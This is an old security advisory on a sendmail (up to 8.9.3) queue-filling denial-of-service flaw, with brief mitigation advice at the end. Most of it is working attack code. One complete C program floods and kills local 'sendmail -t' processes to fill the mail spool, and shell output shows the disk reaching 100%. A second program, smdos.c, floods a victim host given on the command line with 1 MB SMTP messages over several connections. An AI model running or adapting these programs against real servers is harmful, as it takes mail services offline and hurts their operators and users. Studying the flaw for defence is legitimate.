COMMAND
sendmail
SYSTEMS AFFECTED
Sendmail up to 8.9.3, others...?
PROBLEM
Lukasz Luzar found following. It seems that sendmail ran with -t
option does NOT block SIGINT... In that moment while we are
sending data to its stdin, when we will press CTRL-C process is
being killed, but in queue rests unfinished letter. It stays
there quite long - long enought to fullfill partition on disk
where /var/spool/mqueue resides. When it happends, sendmail
doesn't allow new connections - so it is a kind of DoS attack for
this service. It has been tested on all new versions on sendmail
up to current (8.9.3). Example:
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#define DELAY 5 /* time in seconds needed to reach
MaxMessageSize limit */
#define SM_PATH "/usr/sbin/sendmail -t"
void main()
{
FILE *fd;
int pid;
for(;;) {
if(( pid = fork()) == 0) {
setpgrp();
if(( fd = popen( SM_PATH, "w")) == NULL)
fprintf( stderr, "popen error\n");
for(;;) fputc( 'A', fd);
} else {
sleep( DELAY);
kill( (-1) * pid, SIGINT);
fprintf( stdout, "next\n");
wait( NULL);
}
}
}
Here's what you can find running this binary for 30 seconds or so.
Before:
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 87681 199909 30% /
# ps auwx | grep sendmail
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:
accepting connections on port 25
# ls -l /var/spool/mqueue
total 0
#
After (30 seconds running):
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 107548 180042 37% /
Not too bad but another 30 seconds later another df:
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 146235 141355 51% /
# ps auwx | grep sendmail
mail 17144 70.5 0.4 1348 820 p1 R 11:35 0:48
/usr/sbin/sendmail -t
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:
accepting connections on port 25
(sendmail kindly using 70% of your CPU)
# ls -l /var/spool/mqueue
total 115854
-rw------- 1 mail mail 118169600 Apr 1 11:37 dfLAA17144
-rw------- 1 mail mail 0 Apr 1 11:35 qfLAA17144
-rw------- 1 mail mail 0 Apr 1 11:35 xfLAA17144
Once again a df:
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 224734 62856 78% /
and once the hard drive becomes filled sendmail stops accepting
connections since it has no temp space.
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 287590 0 100% /
# ps auwx | grep sendmail
mail 17144 68.5 0.4 1348 820 p1 R 11:35 2:33
/usr/wrapped/sendmail -t
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:
rejecting connections on port 25: min free: 100
#
Much more dangerous are remote queue filling DoS attacks. If you
have enabled relaying, you can use shown below smdos.c proggie.
It will quite fast fullfill partition on disk where
/var/spool/mqueue resides. You should notice increased LA during
attack. In contrast to local DoS attacks, control files created
by smdos.c are owned by root.root, so ... it's much more difficult
to prevent offenders from doing it. Don't forget to change BSIZE
definition (in smdos.c) to appropriate victim's host message size
limitation (MaxMessageSize option); you can also increase MAXCONN
definition.
/*
By Michal Szymanski <siwa9@box43.gnet.pl>
Sendmail DoS (up to 8.9.3);
Sat Apr 3 00:12:31 CEST 1999
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#undef VERBOSE /* define it, if MORECONN is undefined */
#define MORECONN
// #define RCPT_TO "foo@ftp.onet.pl"
#define RCPT_TO "foo@10.255.255.255"
#ifdef MORECONN
#define MAXCONN 5
#endif
#define BSIZE 1048576 /* df* control file size */
#define PORT 25
char buffer[BSIZE];
int sockfd,x,loop,chpid;
void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}
void say(char *what) {
if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif
bzero(buffer,BSIZE);
usleep(1000);
if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];
fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");
if (argc<2) usage(argv[0]);
#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif
hostname=argv[1];
serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;
if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {
#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif
if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}
serv_addr.sin_family=host->h_addrtype;
bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);
#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif
hostname=host->h_name;
sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
(unsigned char)host->h_addr[1],
(unsigned char)host->h_addr[2],
(unsigned char)host->h_addr[3]);
}
else sprintf(hostaddr,"%s",hostname);
#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif
for(;;) {
bzero(&(serv_addr.sin_zero),8);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}
if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif
bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif
say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");
for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);
say("\n.\n");
sleep(1);
say("quit\n");
shutdown(sockfd,2);
close(sockfd);
#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
SOLUTION
Unfortunately it is believed this is just a variation on the many
Denial of Service attacks possible from a Unix shell. In fact,
it's "yet another queue filling" exercise. This problem affects
most, if not all MTAs. Interestingly, the proposed DOS is less
severe than the usual queue filling strategies such as repeatedly
submitting large mails to an undeliverable address, such as
someone@[10.255.255.255]. The reason for this is that the
derelict files will be removed by the next scheduled queue run.
In the case of legitimately queued mail, it will take the full
queue return timeout before the queue entry is removed (assuming a
lack of intervention on the administrator's part). The valid
point is that shell-based DOS attacks are hard to deal with. In
many cases, the only recourse is to identify and stop the
offender. In this case it is suggested that if this attack is a
possibility at your site, you use process accounting to help trace
the malicious user. Also, unless your script gets the timing
exactly right every time, the queue submission will complete which
will give more information about the identity of the attacker. As
a side note, setting the MaxMessageSize option prevents any one
message from filling the queue. Having said that, it does point
out that sendmail could log the username and queue ID earlier to
help make tracing this sort of attack even easier.
Control files (in /var/spool/mqueue) created by 'sendmail -t' are
owned by root.attacker's_group; turn on quotas for group
'attacker's_group' on the file system containing /var/spool/mqueue
directory, and your host will be not vulnerable; but you _have to_
configure your sendmail as _nosuid_ daemon.